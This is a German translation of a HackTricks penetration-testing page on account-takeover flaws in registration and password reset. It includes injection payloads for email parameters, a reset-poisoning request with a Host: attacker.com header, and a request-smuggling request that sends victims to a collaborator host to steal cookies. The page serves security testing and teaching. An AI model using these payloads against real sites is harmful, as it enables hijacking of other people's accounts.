hacktricks/pentesting-web/registration-vulnerabilities.md

12 KiB

Registrierungs- & Übernahmeschwachstellen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

WhiteIntel

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihren Dienst kostenlos ausprobieren unter:

{% embed url="https://whiteintel.io" %}


Registrierungsübernahme

Duplikatregistrierung

  • Versuchen Sie, mit einem vorhandenen Benutzernamen zu generieren
  • Überprüfen Sie die Variation der E-Mail:
    • Großbuchstaben
    • +1@
    • fügen Sie einige Punkte in die E-Mail ein
    • Sonderzeichen im E-Mail-Namen (%00, %09, %20)
    • Setzen Sie schwarze Zeichen nach der E-Mail: test@test.com a
    • victim@gmail.com@attacker.com
    • victim@attacker.com@gmail.com

Benutzername Aufzählung

Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert wurde.

Passwortrichtlinie

Beim Erstellen eines Benutzers überprüfen Sie die Passwortrichtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).
In diesem Fall können Sie versuchen, Anmeldeinformationen per Bruteforce zu ermitteln.

SQL-Injection

Überprüfen Sie diese Seite , um zu lernen, wie Sie Kontoübernahmen versuchen oder Informationen über SQL-Injections in Registrierungsformularen extrahieren können.

Oauth-Übernahmen

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML-Schwachstellen

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

E-Mail ändern

Nach der Registrierung versuchen Sie, die E-Mail zu ändern und überprüfen, ob diese Änderung korrekt validiert wird oder ob Sie sie in beliebige E-Mails ändern können.

Weitere Überprüfungen

  • Überprüfen Sie, ob Sie Wegwerf-E-Mails verwenden können
  • Langes Passwort (>200) führt zu DoS
  • Überprüfen Sie die Ratenbegrenzungen bei der Kontenerstellung
  • Verwenden Sie username@burp_collab.net und analysieren Sie den Rückruf

Passwortzurücksetzungsübernahme

Passwortzurücksetzungstoken-Leak über Referrer

  1. Fordern Sie das Zurücksetzen des Passworts an Ihre E-Mail-Adresse an
  2. Klicken Sie auf den Link zum Zurücksetzen des Passworts
  3. Ändern Sie das Passwort nicht
  4. Klicken Sie auf beliebige Websites von Drittanbietern (z. B. Facebook, Twitter)
  5. Unterbrechen Sie die Anfrage im Burp Suite-Proxy
  6. Überprüfen Sie, ob der Referrer-Header das Zurücksetzen des Passworttokens preisgibt.

Passwortzurücksetzung-Vergiftung

  1. Unterbrechen Sie die Passwortzurücksetzungsanfrage im Burp Suite
  2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Leiten Sie die Anfrage mit dem geänderten Header weiter
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Suchen Sie nach einer Passwortzurücksetzungs-URL basierend auf dem Host-Header wie: https://attacker.com/reset-password.php?token=TOKEN

Passwortzurücksetzung über E-Mail-Parameter

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR auf API-Parametern

  1. Der Angreifer muss sich mit seinem Konto anmelden und die Funktion Passwort ändern aufrufen.
  2. Starten Sie Burp Suite und unterbrechen Sie die Anfrage.
  3. Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail
    powershell POST /api/changepass [...] ("form": {"email":"opfer@email.com","password":"sicherespwd"})

Schwacher Passwort-Reset-Token

Der Passwort-Reset-Token sollte jedes Mal zufällig generiert und einzigartig sein.
Versuchen Sie festzustellen, ob der Token abläuft oder ob er immer derselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.

  • Zeitstempel
  • Benutzer-ID
  • E-Mail des Benutzers
  • Vor- und Nachname
  • Geburtsdatum
  • Kryptografie
  • Nur Zahlen
  • Kleine Token-Sequenz (Zeichen zwischen [A-Z,a-z,0-9])
  • Token-Wiederverwendung
  • Ablaufdatum des Tokens

Durchsickern des Passwort-Reset-Tokens

  1. Lösen Sie eine Anfrage zum Zurücksetzen des Passworts über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
  2. Überprüfen Sie die Serverantwort und suchen Sie nach resetToken
  3. Verwenden Sie dann den Token in einer URL wie https://beispiel.com/v3/benutzer/passwort/zurücksetzen?resetToken=[DER_RESET_TOKEN]&email=[DIE_MAIL]

Passwort zurücksetzen über Benutzername-Kollision

  1. Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen eingefügt. z.B.: "admin "
  2. Fordern Sie ein Passwort-Reset mit Ihrem bösartigen Benutzernamen an.
  3. Verwenden Sie den an Ihre E-Mail gesendeten Token und setzen Sie das Passwort des Opfers zurück.
  4. Melden Sie sich mit dem neuen Passwort im Opferkonto an.

Die Plattform CTFd war anfällig für diesen Angriff.
Siehe: CVE-2020-7245

Kontoübernahme über Cross-Site-Scripting

  1. Finden Sie ein XSS innerhalb der Anwendung oder eines Subdomains, wenn die Cookies auf die übergeordnete Domain beschränkt sind: *.domain.com
  2. Leaken Sie das aktuelle Sitzungscookie
  3. Authentifizieren Sie sich als Benutzer mithilfe des Cookies

Kontoübernahme über HTTP-Request-Smuggling

1. Verwenden Sie smuggler, um den Typ des HTTP-Request-Smugglings (CL, TE, CL.TE) zu erkennen
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erstellen Sie eine Anfrage, die das POST / HTTP/1.1 mit den folgenden Daten überschreibt:
GET http://something.burpcollaborator.net HTTP/1.1 X: mit dem Ziel, Opfer auf burpcollab umzuleiten und ihre Cookies zu stehlen
3. Die endgültige Anfrage könnte wie folgt aussehen:

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone Berichte über die Ausnutzung dieses Fehlers
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Accountübernahme über CSRF

  1. Erstellen Sie ein Payload für CSRF, z.B. "HTML-Formular mit automatischem Absenden für eine Passwortänderung"
  2. Senden Sie den Payload

Accountübernahme über JWT

JSON Web Token kann verwendet werden, um einen Benutzer zu authentifizieren.

  • Bearbeiten Sie das JWT mit einer anderen Benutzer-ID / E-Mail
  • Überprüfen Sie die schwache JWT-Signatur

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Referenzen

WhiteIntel

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Accountübernahmen und Ransomware-Angriffe aufgrund von informationenstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

{% embed url="https://whiteintel.io" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: